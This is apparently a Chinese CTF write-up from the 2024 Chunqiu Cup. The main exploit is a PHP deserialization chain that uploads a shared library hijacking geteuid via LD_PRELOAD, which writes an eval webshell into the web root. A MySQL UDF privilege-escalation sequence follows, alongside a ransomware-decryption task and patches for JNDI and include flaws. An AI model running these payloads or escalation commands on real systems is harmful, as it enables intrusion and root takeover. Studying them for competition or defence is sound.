web

Hijack

源码:

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
$pattern = array('\'', '"','%','\(','\)',';','bash');
$pattern = '/' . implode('|', $pattern) . '/i';
if(preg_match($pattern,$a)){
die("No injecting!!!");
}
return $a;
}
class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
public function __wakeup()
{
if (isset($this->math->flag))
{
echo getenv("LD_PRELOAD");
echo "YesYes";
} else {
echo "YesYesYes";
}
}
}
class DIFF{
public $callback;
public $back;
private $flag;

public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";

}

}
class FILE{
public $filename;
public $enviroment;
public function __get($arg1){
if("hacker"==$this->enviroment){
echo "Hacker is bad guy!!!";
}
}
public function __call($function_name,$value)
{
if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename, base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。';
}
} else {
echo "非法文件名。";
}
}
}
class FUN{
public $fun;
public $value;
public function __get($name)
{
$this->fun->getflag($this->value);
}
}
$c = $_POST['Harder'];
unserialize($c);

?>

审计代码,可以看到有 putenv("$key=$value");,再根据 getenv("LD_PRELOAD"); ,可以知道是要打 LD_PRELOAD劫持。

先写 so 文件。

编译1.so

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


void payload() {
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/1.php");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

gcc -shared -fPIC 1.c -o 1.so

得到 1.so,然后转成 base64

import base64

file = open('1.so','rb').read()

b64 = base64.b64encode(file)
print(b64)

接着是反序列化。

写 so:

<?php
$file_data = "(1.so的base64编码)";

class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
public function __wakeup()
{
if (isset($this->math->flag))
{
echo getenv("LD_PRELOAD");
echo "YesYes";
} else {
echo "YesYesYes";
}
}
}
class DIFF{
public $callback;
public $back;
public $flag;

public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";

}

}
class FILE{
public $filename;
public $enviroment;
public function __get($arg1){
if("hacker"==$this->enviroment){
echo "Hacker is bad guy!!!";
}
}
public function __call($function_name,$value)
{
echo "__call";
if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename, base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。';
}
} else {
echo "非法文件名。";
}
}
}
class FUN{
public $fun;
public $value;
public function __get($name)
{
echo "__get";
$this->fun->getflag($this->value);
}
}

$a = new ENV();
$a->math = new DIFF();
$a->math->callback = new FUN();
$a->math->callback->fun = new FILE();
$a->math->callback->fun->filename = "123.so";
$a->math->callback->value = $file_data;

$b = serialize($a);
echo urlencode($b);

得到 so 的路径

设置 putenv("$key=$value");

<?php

class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
public function __wakeup()
{
if (isset($this->math->flag))
{
echo getenv("LD_PRELOAD");
echo "YesYes";
} else {
echo "YesYesYes";
}
}
}
class DIFF{
public $callback;
public $back;
public $flag;

public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";

}

}
class FILE{
public $filename;
public $enviroment;
public function __get($arg1){
if("hacker"==$this->enviroment){
echo "Hacker is bad guy!!!";
}
}
public function __call($function_name,$value)
{
echo "__call";
if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename, base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。';
}
} else {
echo "非法文件名。";
}
}
}
class FUN{
public $fun;
public $value;
public function __get($name)
{
echo "__get";
$this->fun->getflag($this->value);
}
}

$a = new ENV();
$a->math = new DIFF();
$a->math->callback = new FILE();
$a->math->callback->enviroment = new ENV();
$a->math->callback->enviroment->key="LD_PRELOAD";
$a->math->callback->enviroment->value="/tmp/fc10f947e66e299bb30931ebc7975612.so";
$b = serialize($a);
echo urlencode($b);

//O%3A3%3A%22ENV%22%3A3%3A%7Bs%3A3%3A%22key%22%3BN%3Bs%3A5%3A%22value%22%3BN%3Bs%3A4%3A%22math%22%3BO%3A4%3A%22DIFF%22%3A3%3A%7Bs%3A8%3A%22callback%22%3BO%3A4%3A%22FILE%22%3A2%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A10%3A%22enviroment%22%3BO%3A3%3A%22ENV%22%3A3%3A%7Bs%3A3%3A%22key%22%3Bs%3A10%3A%22LD_PRELOAD%22%3Bs%3A5%3A%22value%22%3Bs%3A40%3A%22%2Ftmp%2Fc41ca1759f4f00a84ad7fb5c5c1a949f.so%22%3Bs%3A4%3A%22math%22%3BN%3B%7D%7Ds%3A4%3A%22back%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7D%7D

发送过去后即可写马成功,访问 1.php,即可rce。

brother

非预期,udf提权。

先是 SSTI反弹shell,ssti没有过滤,随便来一条payload都可以反弹。

接着用 ps -axu查看进程,发现 mysql是root用户起的,udf提权成功后就是root用户了。

参考链接:MySQL提权总结

先在kali的/usr/share/metasploit-framework/data/exploits/mysql/目录下找到对应版本的 so 文件,然后上传服务器。

机器里有wget ,可以用wget下载自己的 so文件。

接着把下载的so文件移动到 /usr/lib/mysql/p1ugin/ 目录。

mysql -uctf -p123456 -e "show variables like '%plugin%';"

用以上命令能查出上面那个目录。sql的用户密码是在api.py里找到的。

用cp命令是移动不了的,但mysql是root起的,可以用mysql来写写文件。

mysql -uctf -p123456 -e "select load_file('/tmp/udf64.so') into dumpfile '//usr/lib/mysql/plugin/udf.so';"

成功将 udf64.so移动到 /usr/lib/mysql/plugin/udf.so

udf提权

mysql -uctf -p123456 -e "create function sys_eval returns string soname 'udf.so';"

之后就可以执行系统命令读flag了

mysql -uctf -p123456 -e "select sys_eval('cat /flag');"

misc

初探勒索病毒

关注公众号得到提示

【2024春秋杯夏季赛】
https://www.nomoreransom.org/zh/decryption-tools.html
搜索BlackBasta,并点击下载。

(如果您还需要进一步的提示,可在本公众号输入“BASTA2”获取。)

【2024春秋杯夏季赛】
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block

下载文件并上传服务器。

因为题目给了个http,猜测加密图片在 /var/www/html,去看一下发现正确。

接着按照要求执行提示中的命令,之后将 banana.jpg.sah28vut5重命名为 banana.jpg,等待1分钟即可cat /flag

AWDP

ezSpring

修复

查看源码,发现是 JNDI 注入

修复的时候加上过滤就行了。

@RequestMapping({"/lookup/*"})
@ResponseBody
public String lookup(@RequestParam(value = "url",required = false) String url) {
if (url == null || url.contains("rmi") || url.contains("ldap")) {
return "missing url parameter";
} else {
try {
Context ctx = new InitialContext();
Object result = ctx.lookup(url);
return "Lookup successful: " + result;
} catch (NamingException var4) {
var4.printStackTrace();
return "Lookup failed";
}
}
}

simplegoods

代码审计,在 market.php里发现了一个 include

把这行注释掉,改成 echo 即可。